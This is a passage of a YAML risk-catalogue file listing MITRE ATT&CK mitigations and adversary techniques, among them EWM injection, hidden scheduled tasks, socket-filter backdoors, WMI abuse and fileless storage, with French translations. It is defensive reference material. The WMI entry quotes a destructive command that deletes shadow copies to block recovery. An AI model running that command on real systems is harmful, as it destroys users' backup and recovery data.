          canismes de chargement de biblioth\xE8que appropri\xE9s et en examinant\
          \ les logiciels potentiellement vuln\xE9rables.\nhttps://attack.mitre.org/mitigations/M1044"
  - urn: urn:intuitem:risk:function:mitre-attack:m1042
    ref_id: M1042
    name: Disable or Remove Feature or Program
    category: technical
    description: 'Remove or deny access to unnecessary and potentially vulnerable
      software to prevent abuse by adversaries.

      https://attack.mitre.org/mitigations/M1042'
    csf_function: protect
    translations:
      fr:
        name: "D\xE9sactiver ou supprimer une fonctionnalit\xE9 ou un programme"
        description: "Supprimez ou refusez l\u2019acc\xE8s aux logiciels inutiles\
          \ et potentiellement vuln\xE9rables afin d\u2019\xE9viter les abus par des\
          \ adversaires.\nhttps://attack.mitre.org/mitigations/M1042"
  - urn: urn:intuitem:risk:function:mitre-attack:m1036
    ref_id: M1036
    name: Account Use Policies
    category: technical
    description: 'Configure features related to account use like login attempt lockouts,
      specific login times, etc.

      https://attack.mitre.org/mitigations/M1036'
    csf_function: protect
    translations:
      fr:
        name: "Politiques d\u2019utilisation du compte"
        description: "Configurez les fonctionnalit\xE9s li\xE9es \xE0 l\u2019utilisation\
          \ du compte, telles que les verrouillages de tentatives de connexion, les\
          \ heures de connexion sp\xE9cifiques, etc.\nhttps://attack.mitre.org/mitigations/M1036"
  - urn: urn:intuitem:risk:function:mitre-attack:m1041
    ref_id: M1041
    name: Encrypt Sensitive Information
    category: technical
    description: 'Protect sensitive information with strong encryption.

      https://attack.mitre.org/mitigations/M1041'
    csf_function: protect
    translations:
      fr:
        name: Chiffrer les informations sensibles
        description: "Prot\xE9gez les informations sensibles gr\xE2ce \xE0 un cryptage\
          \ fort.\nhttps://attack.mitre.org/mitigations/M1041"
  threats:
  - urn: urn:intuitem:risk:threat:mitre-attack:t1055.011
    ref_id: T1055.011
    name: Extra Window Memory Injection
    description: "Adversaries may inject malicious code into process via Extra Window\
      \ Memory (EWM) in order to evade process-based defenses as well as possibly\
      \ elevate privileges. EWM injection is a method of executing arbitrary code\
      \ in the address space of a separate live process. \n\nBefore creating a window,\
      \ graphical Windows-based processes must prescribe to or register a windows\
      \ class, which stipulate appearance and behavior (via windows procedures, which\
      \ are functions that handle input/output of data).(Citation: Microsoft Window\
      \ Classes) Registration of new windows classes can include a request for up\
      \ to 40 bytes of EWM to be appended to the allocated memory of each instance\
      \ of that class. This EWM is intended to store data specific to that window\
      \ and has specific application programming interface (API) functions to set\
      \ and get its value. (Citation: Microsoft GetWindowLong function) (Citation:\
      \ Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough\
      \ to store a 32-bit pointer and is often used to point to a windows procedure.\
      \ Malware may possibly utilize this memory location in part of an attack chain\
      \ that includes writing code to shared sections of the process\u2019s memory,\
      \ placing a pointer to the code in EWM, then invoking execution by returning\
      \ execution control to the address in the process\u2019s EWM.\n\nExecution granted\
      \ through EWM injection may allow access to both the target process's memory\
      \ and possibly elevated privileges. Writing payloads to shared sections also\
      \ avoids the use of highly monitored API calls such as <code>WriteProcessMemory</code>\
      \ and <code>CreateRemoteThread</code>.(Citation: Elastic Process Injection July\
      \ 2017) More sophisticated malware samples may also potentially bypass protection\
      \ mechanisms such as data execution prevention (DEP) by triggering a combination\
      \ of windows procedures and other system functions that will rewrite the malicious\
      \ payload inside an executable portion of the target process.  (Citation: MalwareTech\
      \ Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)\n\
      \nRunning code in the context of another process may allow access to the process's\
      \ memory, system/network resources, and possibly elevated privileges. Execution\
      \ via EWM injection may also evade detection from security products since the\
      \ execution is masked under a legitimate process.\nhttps://attack.mitre.org/techniques/T1055/011"
    translations:
      fr:
        name: "Injection suppl\xE9mentaire de m\xE9moire de fen\xEAtre"
        description: "Les adversaires peuvent injecter du code malveillant dans le\
          \ processus via Extra Window Memory (EWM) afin d\u2019\xE9chapper aux d\xE9\
          fenses bas\xE9es sur les processus et \xE9ventuellement d\u2019\xE9lever\
          \ les privil\xE8ges. L\u2019injection EWM est une m\xE9thode d\u2019ex\xE9\
          cution de code arbitraire dans l\u2019espace d\u2019adressage d\u2019un\
          \ processus en direct distinct. \n\nAvant de cr\xE9er une fen\xEAtre, les\
          \ processus graphiques bas\xE9s sur Windows doivent prescrire ou enregistrer\
          \ une classe windows, qui stipule l\u2019apparence et le comportement (via\
          \ les proc\xE9dures windows, qui sont des fonctions qui g\xE8rent l\u2019\
          entr\xE9e/sortie de donn\xE9es). (Citation : Classes de fen\xEAtre Microsoft)\
          \ L\u2019inscription de nouvelles classes Windows peut inclure une demande\
          \ d\u2019ajout d\u2019un maximum de 40 octets d\u2019EWM \xE0 la m\xE9moire\
          \ allou\xE9e de chaque instance de cette classe. Cet EWM est destin\xE9\
          \ \xE0 stocker des donn\xE9es sp\xE9cifiques \xE0 cette fen\xEAtre et dispose\
          \ de fonctions d\u2019interface de programmation d\u2019application (API)\
          \ sp\xE9cifiques pour d\xE9finir et obtenir sa valeur. (Citation : Fonction\
          \ Microsoft GetWindowLong) (Citation : Fonction Microsoft SetWindowLong)\n\
          \nBien que petit, l\u2019EWM est suffisamment grand pour stocker un pointeur\
          \ 32 bits et est souvent utilis\xE9 pour pointer vers une proc\xE9dure Windows.\
          \ Les logiciels malveillants peuvent \xE9ventuellement utiliser cet emplacement\
          \ m\xE9moire dans le cadre d\u2019une cha\xEEne d\u2019attaque qui comprend\
          \ l\u2019\xE9criture de code dans des sections partag\xE9es de la m\xE9\
          moire du processus, la mise en place d\u2019un pointeur vers le code dans\
          \ EWM, puis l\u2019appel de l\u2019ex\xE9cution en renvoyant le contr\xF4\
          le d\u2019ex\xE9cution \xE0 l\u2019adresse dans l\u2019EWM du processus.\n\
          \nL\u2019ex\xE9cution accord\xE9e par l\u2019injection EWM peut permettre\
          \ l\u2019acc\xE8s \xE0 la m\xE9moire du processus cible et \xE9ventuellement\
          \ \xE0 des privil\xE8ges \xE9lev\xE9s. L\u2019\xE9criture de charges utiles\
          \ dans des sections partag\xE9es \xE9vite \xE9galement l\u2019utilisation\
          \ d\u2019appels d\u2019API hautement surveill\xE9s tels que <code>WriteProcessMemory</code>\
          \ et <code>CreateRemoteThread</code>. (Citation : Injection de processus\
          \ \xE9lastique juillet 2017) Des \xE9chantillons de logiciels malveillants\
          \ plus sophistiqu\xE9s peuvent \xE9galement contourner les m\xE9canismes\
          \ de protection tels que la pr\xE9vention de l\u2019ex\xE9cution des donn\xE9\
          es (DEP) en d\xE9clenchant une combinaison de proc\xE9dures Windows et d\u2019\
          autres fonctions syst\xE8me qui r\xE9\xE9criront la charge utile malveillante\
          \ \xE0 l\u2019int\xE9rieur d\u2019une partie ex\xE9cutable du processus\
          \ cible.  (Citation : MalwareTech Power Loader ao\xFBt 2013) (Citation :\
          \ WeLiveSecurity Gapz et Redyms mars 2013)\n\nL\u2019ex\xE9cution de code\
          \ dans le contexte d\u2019un autre processus peut permettre d\u2019acc\xE9\
          der \xE0 la m\xE9moire du processus, aux ressources syst\xE8me/r\xE9seau\
          \ et \xE9ventuellement \xE0 des privil\xE8ges \xE9lev\xE9s. L\u2019ex\xE9\
          cution par injection EWM peut \xE9galement \xE9chapper \xE0 la d\xE9tection\
          \ des produits de s\xE9curit\xE9, car l\u2019ex\xE9cution est masqu\xE9\
          e par un processus l\xE9gitime.\nhttps://attack.mitre.org/techniques/T1055/011"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1053.005
    ref_id: T1053.005
    name: Scheduled Task
    description: 'Adversaries may abuse the Windows Task Scheduler to perform task
      scheduling for initial or recurring execution of malicious code. There are multiple
      ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111)
      utility can be run directly on the command line, or the Task Scheduler can be
      opened through the GUI within the Administrator Tools section of the Control
      Panel.(Citation: Stack Overflow) In some cases, adversaries have used a .NET
      wrapper for the Windows Task Scheduler, and alternatively, adversaries have
      used the Windows netapi32 library and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
      (WMI) to create a scheduled task. Adversaries may also utilize the Powershell
      Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create
      a scheduled task via an XML path.(Citation: Red Canary - Atomic Red Team)


      An adversary may use Windows Task Scheduler to execute programs at system startup
      or on a scheduled basis for persistence. The Windows Task Scheduler can also
      be abused to conduct remote Execution as part of Lateral Movement and/or to
      run a process under the context of a specified account (such as SYSTEM). Similar
      to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218),
      adversaries have also abused the Windows Task Scheduler to potentially mask
      one-time execution under signed/trusted system processes.(Citation: ProofPoint
      Serpent)


      Adversaries may also create "hidden" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564))
      that may not be visible to defender tools and manual queries used to enumerate
      tasks. Specifically, an adversary may hide a task from `schtasks /query` and
      the Task Scheduler by deleting the associated Security Descriptor (SD) registry
      value (where deletion of this value must be completed using SYSTEM permissions).(Citation:
      SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate
      methods to hide tasks, such as altering the metadata (e.g., `Index` value) within
      associated registry keys.(Citation: Defending Against Scheduled Task Attacks
      in Windows Environments)

      https://attack.mitre.org/techniques/T1053/005'
    translations:
      fr:
        name: "T\xE2che planifi\xE9e"
        description: "Les adversaires peuvent abuser du planificateur de t\xE2ches\
          \ Windows pour effectuer la planification de t\xE2ches pour l\u2019ex\xE9\
          cution initiale ou r\xE9currente de code malveillant. Il existe plusieurs\
          \ fa\xE7ons d\u2019acc\xE9der au planificateur de t\xE2ches dans Windows.\
          \ L\u2019utilitaire [schtasks](https://attack.mitre.org/software/S0111)\
          \ peut \xEAtre ex\xE9cut\xE9 directement sur la ligne de commande, ou le\
          \ planificateur de t\xE2ches peut \xEAtre ouvert via l\u2019interface graphique\
          \ dans la section Outils d\u2019administration du Panneau de configuration.\
          \ (Citation : d\xE9bordement de pile) Dans certains cas, les adversaires\
          \ ont utilis\xE9 un wrapper .NET pour le planificateur de t\xE2ches Windows,\
          \ tandis que les adversaires ont utilis\xE9 la biblioth\xE8que Windows netapi32\
          \ et [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)\
          \ (WMI) pour cr\xE9er une t\xE2che planifi\xE9e. Les adversaires peuvent\
          \ \xE9galement utiliser l\u2019applet de commande Powershell \xAB Invoke-CimMethod\
          \ \xBB, qui exploite la classe WMI \xAB PS_ScheduledTask pour cr\xE9er une\
          \ t\xE2che planifi\xE9e via un chemin d\u2019acc\xE8s XML. (Citation : Red\
          \ Canary - Atomic Red Team)\n\nUn adversaire peut utiliser le Planificateur\
          \ de t\xE2ches Windows pour ex\xE9cuter des programmes au d\xE9marrage du\
          \ syst\xE8me ou de mani\xE8re planifi\xE9e \xE0 des fins de persistance.\
          \ Le planificateur de t\xE2ches Windows peut \xE9galement \xEAtre utilis\xE9\
          \ de mani\xE8re abusive pour effectuer une ex\xE9cution \xE0 distance dans\
          \ le cadre d\u2019un mouvement lat\xE9ral et/ou pour ex\xE9cuter un processus\
          \ dans le contexte d\u2019un compte sp\xE9cifi\xE9 (tel que SYSTEM). \xC0\
          \ l\u2019instar de [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218),\
          \ les adversaires ont \xE9galement abus\xE9 du planificateur de t\xE2ches\
          \ Windows pour masquer potentiellement l\u2019ex\xE9cution unique dans le\
          \ cadre de processus syst\xE8me sign\xE9s/approuv\xE9s. (Citation : ProofPoint\
          \ Serpent)\n\nLes adversaires peuvent \xE9galement cr\xE9er des t\xE2ches\
          \ planifi\xE9es \xAB cach\xE9es \xBB (c\u2019est-\xE0-dire [Masquer les\
          \ artefacts](https://attack.mitre.org/techniques/T1564)) qui peuvent ne\
          \ pas \xEAtre visibles par les outils de d\xE9fense et les requ\xEAtes manuelles\
          \ utilis\xE9es pour \xE9num\xE9rer les t\xE2ches. Plus pr\xE9cis\xE9ment,\
          \ un adversaire peut masquer une t\xE2che \xE0 l\u2019adresse \xAB schtasks\
          \ /query \xBB et au planificateur de t\xE2ches en supprimant la valeur de\
          \ registre du descripteur de s\xE9curit\xE9 (SD) associ\xE9e (lorsque la\
          \ suppression de cette valeur doit \xEAtre effectu\xE9e \xE0 l\u2019aide\
          \ des autorisations SYSTEM). (Citation : SigmaHQ)(Citation : T\xE2che planifi\xE9\
          e de Tarrask) Les adversaires peuvent \xE9galement utiliser d\u2019autres\
          \ m\xE9thodes pour masquer des t\xE2ches, telles que la modification des\
          \ m\xE9tadonn\xE9es (par exemple, la valeur \xAB Index \xBB) dans les cl\xE9\
          s de registre associ\xE9es. (Citation : D\xE9fense contre les attaques de\
          \ t\xE2ches planifi\xE9es dans les environnements Windows)\nhttps://attack.mitre.org/techniques/T1053/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1205.002
    ref_id: T1205.002
    name: Socket Filters
    description: 'Adversaries may attach filters to a network socket to monitor then
      activate backdoors used for persistence or command and control. With elevated
      permissions, adversaries can use features such as the `libpcap` library to open
      sockets and install filters to allow or disallow certain types of data to come
      through the socket. The filter may apply to all traffic passing through the
      specified network interface (or every interface if not specified). When the
      network interface receives a packet matching the filter criteria, additional
      actions can be triggered on the host, such as activation of a reverse shell.


      To establish a connection, an adversary sends a crafted packet to the targeted
      host that matches the installed filter criteria.(Citation: haking9 libpcap network
      sniffing) Adversaries have used these socket filters to trigger the installation
      of implants, conduct ping backs, and to invoke command shells. Communication
      with these socket filters may also be used in conjunction with [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).(Citation:
      exatrack bpf filters passive backdoors)(Citation: Leonardo Turla Penquin May
      2020)


      Filters can be installed on any Unix-like platform with `libpcap` installed
      or on Windows hosts using `Winpcap`.  Adversaries may use either `libpcap` with
      `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER`
      options. Since the socket connection is not active until the packet is received,
      this behavior may be difficult to detect due to the lack of activity on a host,
      low CPU overhead, and limited visibility into raw socket usage.

      https://attack.mitre.org/techniques/T1205/002'
    translations:
      fr:
        name: Filtres de socket
        description: "Les adversaires peuvent attacher des filtres \xE0 une prise\
          \ r\xE9seau pour surveiller, puis activer des portes d\xE9rob\xE9es utilis\xE9\
          es pour la persistance ou la commande et le contr\xF4le. Avec des autorisations\
          \ \xE9lev\xE9es, les adversaires peuvent utiliser des fonctionnalit\xE9\
          s telles que la biblioth\xE8que \xAB libpcap \xBB pour ouvrir des sockets\
          \ et installer des filtres afin d\u2019autoriser ou d\u2019interdire \xE0\
          \ certains types de donn\xE9es de passer par le socket. Le filtre peut s\u2019\
          appliquer \xE0 tout le trafic passant par l\u2019interface r\xE9seau sp\xE9\
          cifi\xE9e (ou \xE0 toutes les interfaces si non sp\xE9cifi\xE9es). Lorsque\
          \ l\u2019interface r\xE9seau re\xE7oit un paquet correspondant aux crit\xE8\
          res de filtrage, des actions suppl\xE9mentaires peuvent \xEAtre d\xE9clench\xE9\
          es sur l\u2019h\xF4te, telles que l\u2019activation d\u2019un shell inverse.\n\
          \nPour \xE9tablir une connexion, un adversaire envoie un paquet contrefait\
          \ \xE0 l\u2019h\xF4te cibl\xE9 qui correspond aux crit\xE8res de filtre\
          \ install\xE9s. (Citation : haking9 libpcap reniflage du r\xE9seau) Des\
          \ adversaires ont utilis\xE9 ces filtres de socket pour d\xE9clencher l\u2019\
          installation d\u2019implants, effectuer des retours ping et invoquer des\
          \ shells de commande. La communication avec ces filtres de socket peut \xE9\
          galement \xEAtre utilis\xE9e conjointement avec le [Protocol Tunneling](https://attack.mitre.org/techniques/T1572).\
          \ (Citation : filtres exatrack bpf portes d\xE9rob\xE9es passives)(Citation\
          \ : Leonardo Turla Penquin, mai 2020)\n\nLes filtres peuvent \xEAtre install\xE9\
          s sur n\u2019importe quelle plate-forme de type Unix avec 'libpcap' install\xE9\
          \ ou sur des h\xF4tes Windows utilisant 'Winpcap'.  Les adversaires peuvent\
          \ utiliser soit 'libpcap' avec 'pcap_setfilter', soit la fonction de biblioth\xE8\
          que standard 'setsockopt' avec les options 'SO_ATTACH_FILTER. \xC9tant donn\xE9\
          \ que la connexion de socket n\u2019est pas active tant que le paquet n\u2019\
          est pas re\xE7u, ce comportement peut \xEAtre difficile \xE0 d\xE9tecter\
          \ en raison de l\u2019absence d\u2019activit\xE9 sur un h\xF4te, d\u2019\
          une faible surcharge de processeur et d\u2019une visibilit\xE9 limit\xE9\
          e sur l\u2019utilisation brute du socket.\nhttps://attack.mitre.org/techniques/T1205/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1560.001
    ref_id: T1560.001
    name: Archive via Utility
    description: "Adversaries may use utilities to compress and/or encrypt collected\
      \ data prior to exfiltration. Many utilities include functionalities to compress,\
      \ encrypt, or otherwise package data into a format that is easier/more secure\
      \ to transport.\n\nAdversaries may abuse various utilities to compress or encrypt\
      \ data before exfiltration. Some third party utilities may be preinstalled,\
      \ such as <code>tar</code> on Linux and macOS or <code>zip</code> on Windows\
      \ systems. \n\nOn Windows, <code>diantz</code> or <code> makecab</code> may\
      \ be used to package collected files into a cabinet (.cab) file. <code>diantz</code>\
      \ may also be used to download and compress files from remote locations (i.e.\
      \ [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation:\
      \ diantz.exe_lolbas) <code>xcopy</code> on Windows can copy files and directories\
      \ with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160)\
      \ to Base64 encode collected data before exfiltration. \n\nAdversaries may use\
      \ also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform\
      \ similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation:\
      \ WinZip Homepage)\nhttps://attack.mitre.org/techniques/T1560/001"
    translations:
      fr:
        name: "Archiver via l\u2019utilitaire"
        description: "Les adversaires peuvent utiliser des utilitaires pour compresser\
          \ et/ou chiffrer les donn\xE9es collect\xE9es avant l\u2019exfiltration.\
          \ De nombreux utilitaires incluent des fonctionnalit\xE9s permettant de\
          \ compresser, de chiffrer ou d\u2019empaqueter les donn\xE9es dans un format\
          \ plus facile et plus s\xFBr \xE0 transporter.\n\nLes adversaires peuvent\
          \ abuser de divers utilitaires pour compresser ou crypter les donn\xE9es\
          \ avant de les exfiltrer. Certains utilitaires tiers peuvent \xEAtre pr\xE9\
          install\xE9s, tels que <code>tar</code> sur Linux et macOS ou <code>zip</code>\
          \ sur les syst\xE8mes Windows. \n\nSous Windows, <code>diantz</code> ou\
          \ <code> makecab</code> peuvent \xEAtre utilis\xE9s pour empaqueter les\
          \ fichiers collect\xE9s dans un fichier armoire (.cab). <code>diantz</code>\
          \ peut \xE9galement \xEAtre utilis\xE9 pour t\xE9l\xE9charger et compresser\
          \ des fichiers \xE0 partir d\u2019emplacements distants (c\u2019est-\xE0\
          -dire [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).\
          \ (R\xE9f\xE9rence : diantz.exe_lolbas) <code>xcopy</code> sous Windows\
          \ peut copier des fichiers et des r\xE9pertoires avec une vari\xE9t\xE9\
          \ d\u2019options. De plus, les adversaires peuvent utiliser [certutil](https://attack.mitre.org/software/S0160)\
          \ pour encoder en Base64 les donn\xE9es collect\xE9es avant l\u2019exfiltration.\
          \ \n\nLes adversaires peuvent \xE9galement utiliser des utilitaires tiers,\
          \ tels que 7-Zip, WinRAR et WinZip, pour effectuer des activit\xE9s similaires.\
          \ (Citation\_: page d\u2019accueil 7zip)(Citation : Page d\u2019accueil\
          \ de WinRAR)(Citation : Page d\u2019accueil de WinZip)\nhttps://attack.mitre.org/techniques/T1560/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1021.005
    ref_id: T1021.005
    name: VNC
    description: "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078)\
      \ to remotely control machines using Virtual Network Computing (VNC).  VNC is\
      \ a platform-independent desktop sharing system that uses the RFB (\u201Cremote\
      \ framebuffer\u201D) protocol to enable users to remotely control another computer\u2019\
      s display by relaying the screen, mouse, and keyboard inputs over the network.(Citation:\
      \ The Remote Framebuffer Protocol)\n\nVNC differs from [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001)\
      \ as VNC is screen-sharing software rather than resource-sharing software. By\
      \ default, VNC uses the system's authentication, but it can be configured to\
      \ use credentials specific to VNC.(Citation: MacOS VNC software for Remote Desktop)(Citation:\
      \ VNC Authentication)\n\nAdversaries may abuse VNC to perform malicious actions\
      \ as the logged-on user such as opening documents, downloading files, and running\
      \ arbitrary commands. An adversary could use VNC to remotely control and monitor\
      \ a system to collect data and information to pivot to other systems within\
      \ the network. Specific VNC libraries/implementations have also been susceptible\
      \ to brute force attacks and memory usage exploitation.(Citation: Hijacking\
      \ VNC)(Citation: macOS root VNC login without authentication)(Citation: VNC\
      \ Vulnerabilities)(Citation: Offensive Security VNC Authentication Check)(Citation:\
      \ Attacking VNC Servers PentestLab)(Citation: Havana authentication bug)\nhttps://attack.mitre.org/techniques/T1021/005"
    translations:
      fr:
        name: VNC
        description: "Les adversaires peuvent utiliser [Comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ pour contr\xF4ler \xE0 distance des machines \xE0 l\u2019aide de l\u2019\
          informatique de r\xE9seau virtuel (VNC).  VNC est un syst\xE8me de partage\
          \ de bureau ind\xE9pendant de la plate-forme qui utilise le protocole RFB\
          \ (\xAB remote framebuffer \xBB) pour permettre aux utilisateurs de contr\xF4\
          ler \xE0 distance l\u2019affichage d\u2019un autre ordinateur en relayant\
          \ les entr\xE9es d\u2019\xE9cran, de souris et de clavier sur le r\xE9seau.\
          \ (Citation : Le protocole Framebuffer \xE0 distance)\n\nVNC diff\xE8re\
          \ du [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001)\
          \ car VNC est un logiciel de partage d\u2019\xE9cran plut\xF4t qu\u2019\
          un logiciel de partage de ressources. Par d\xE9faut, VNC utilise l\u2019\
          authentification du syst\xE8me, mais il peut \xEAtre configur\xE9 pour utiliser\
          \ des informations d\u2019identification sp\xE9cifiques \xE0 VNC. (Citation\
          \ : Logiciel MacOS VNC pour le bureau \xE0 distance)(Citation : Authentification\
          \ VNC)\n\nLes adversaires peuvent abuser de VNC pour effectuer des actions\
          \ malveillantes en tant qu\u2019utilisateur connect\xE9, telles que l\u2019\
          ouverture de documents, le t\xE9l\xE9chargement de fichiers et l\u2019ex\xE9\
          cution de commandes arbitraires. Un adversaire pourrait utiliser VNC pour\
          \ contr\xF4ler et surveiller \xE0 distance un syst\xE8me afin de collecter\
          \ des donn\xE9es et des informations afin de pivoter vers d\u2019autres\
          \ syst\xE8mes au sein du r\xE9seau. Des biblioth\xE8ques/impl\xE9mentations\
          \ VNC sp\xE9cifiques ont \xE9galement \xE9t\xE9 sensibles aux attaques par\
          \ force brute et \xE0 l\u2019exploitation de l\u2019utilisation de la m\xE9\
          moire. (Citation : D\xE9tournement de VNC)(Citation : Connexion racine macOS\
          \ VNC sans authentification)(Citation : Vuln\xE9rabilit\xE9s VNC)(Citation\
          \ : V\xE9rification de l\u2019authentification VNC de s\xE9curit\xE9 offensive)(Citation\
          \ : Attaque des serveurs VNC PentestLab)(Citation : Bug d\u2019authentification\
          \ de La Havane)\nhttps://attack.mitre.org/techniques/T1021/005"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1047
    ref_id: T1047
    name: Windows Management Instrumentation
    description: "Adversaries may abuse Windows Management Instrumentation (WMI) to\
      \ execute malicious commands and payloads. WMI is designed for programmers and\
      \ is the infrastructure for management data and operations on Windows systems.(Citation:\
      \ WMI 1-3) WMI is an administration feature that provides a uniform environment\
      \ to access Windows system components.\n\nThe WMI service enables both local\
      \ and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021)\
      \ such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003)\
      \ and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation:\
      \ WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM\
      \ operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI\
      \ 1-3) (Citation: Mandiant WMI)\n\nAn adversary can use WMI to interact with\
      \ local and remote systems and use it as a means to execute various behaviors,\
      \ such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007)\
      \ as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands\
      \ and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused\
      \ by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy\
      \ Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation:\
      \ WMI 6)\n\n**Note:** `wmic.exe` is deprecated as of January of 2024, with the\
      \ WMIC feature being \u201Cdisabled by default\u201D on Windows 11+. WMIC will\
      \ be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell\
      \ and tools like `wbemtool.exe`, COM APIs can also be used to programmatically\
      \ interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)\nhttps://attack.mitre.org/techniques/T1047"
    translations:
      fr:
        name: Instrumentation de gestion Windows
        description: "Les adversaires peuvent abuser de Windows Management Instrumentation\
          \ (WMI) pour ex\xE9cuter des commandes et des charges utiles malveillantes.\
          \ WMI est con\xE7u pour les programmeurs et constitue l\u2019infrastructure\
          \ pour la gestion, les donn\xE9es et les op\xE9rations sur les syst\xE8\
          mes Windows. (R\xE9f\xE9rence : WMI 1-3) WMI est une fonctionnalit\xE9 d\u2019\
          administration qui fournit un environnement uniforme pour acc\xE9der aux\
          \ composants du syst\xE8me Windows.\n\nLe service WMI permet un acc\xE8\
          s local et distant, bien que ce dernier soit facilit\xE9 par les [Services\
          \ \xE0 distance](https://attack.mitre.org/techniques/T1021) tels que [Mod\xE8\
          le objet de composant distribu\xE9](https://attack.mitre.org/techniques/T1021/003)\
          \ et [Gestion \xE0 distance Windows](https://attack.mitre.org/techniques/T1021/006).\
          \ (R\xE9f\xE9rence : WMI 1-3) WMI distant sur DCOM fonctionne \xE0 l\u2019\
          aide du port 135, tandis que WMI sur WinRM fonctionne sur le port 5985 lors\
          \ de l\u2019utilisation de HTTP et 5986 pour HTTPS. (R\xE9f\xE9rence : WMI\
          \ 1-3) (Citation : Mandiant WMI)\n\nUn adversaire peut utiliser WMI pour\
          \ interagir avec des syst\xE8mes locaux et distants et l\u2019utiliser comme\
          \ moyen d\u2019ex\xE9cuter divers comportements, tels que la collecte d\u2019\
          informations pour [Discovery](https://attack.mitre.org/tactics/TA0007) ainsi\
          \ que [Execution](https://attack.mitre.org/tactics/TA0002) de commandes\
          \ et de charges utiles. (Citation : Mandiant WMI) Par exemple, un adversaire\
          \ peut abuser de 'wmic.exe' pour supprimer des clich\xE9s instantan\xE9\
          s avec la commande 'wmic.exe Shadowcopy Delete' (c\u2019est-\xE0-dire, [Inhibit\
          \ System Recovery](https://attack.mitre.org/techniques/T1490)). (R\xE9f\xE9\
          rence : WMI 6)\n\n**Remarque\_:** 'wmic.exe' est obsol\xE8te \xE0 partir\
          \ de janvier 2024, la fonctionnalit\xE9 WMIC \xE9tant \xAB\_d\xE9sactiv\xE9\
          e par d\xE9faut\_\xBB sur Windows 11+. WMIC sera supprim\xE9 des versions\
          \ ult\xE9rieures de Windows et remplac\xE9 par [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ en tant qu\u2019interface WMI principale. (R\xE9f\xE9rence : WMI 7,8)\
          \ En plus de PowerShell et d\u2019outils tels que 'wbemtool.exe', les API\
          \ COM peuvent \xE9galement \xEAtre utilis\xE9es pour interagir de mani\xE8\
          re programmatique avec WMI via C++, .NET, VBScript, etc.\nhttps://attack.mitre.org/techniques/T1047"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1113
    ref_id: T1113
    name: Screen Capture
    description: 'Adversaries may attempt to take screen captures of the desktop to
      gather information over the course of an operation. Screen capturing functionality
      may be included as a feature of a remote access tool used in post-compromise
      operations. Taking a screenshot is also typically possible through native utilities
      or API calls, such as <code>CopyFromScreen</code>, <code>xwd</code>, or <code>screencapture</code>.(Citation:
      CopyFromScreen .NET)(Citation: Antiquated Mac Malware)

      https://attack.mitre.org/techniques/T1113'
    translations:
      fr:
        name: "Capture d\u2019\xE9cran"
        description: "Les adversaires peuvent tenter de faire des captures d\u2019\
          \xE9cran du bureau pour recueillir des informations au cours d\u2019une\
          \ op\xE9ration. La fonctionnalit\xE9 de capture d\u2019\xE9cran peut \xEA\
          tre incluse dans un outil d\u2019acc\xE8s \xE0 distance utilis\xE9 dans\
          \ les op\xE9rations post-compromission. Il est \xE9galement g\xE9n\xE9ralement\
          \ possible de faire une capture d\u2019\xE9cran \xE0 l\u2019aide d\u2019\
          utilitaires natifs ou d\u2019appels d\u2019API, tels que <code>CopyFromScreen</code>,\
          \ <code>xwd</code> ou <code>capture d\u2019\xE9cran</code>. (Citation :\
          \ CopyFromScreen .NET)(Citation : Logiciel malveillant Mac obsol\xE8te)\n\
          https://attack.mitre.org/techniques/T1113"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1027.011
    ref_id: T1027.011
    name: Fileless Storage
    description: 'Adversaries may store data in "fileless" formats to conceal malicious
      activity from defenses. Fileless storage can be broadly defined as any format
      other than a file. Common examples of non-volatile fileless storage in Windows
      systems include the Windows Registry, event logs, or WMI repository.(Citation:
      Microsoft Fileless)(Citation: SecureList Fileless) In Linux systems, shared
      memory directories such as `/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`
      may also be considered fileless storage, as files written to these directories
      are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary
      Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation:
      Aquasec Muhstik Malware 2024)


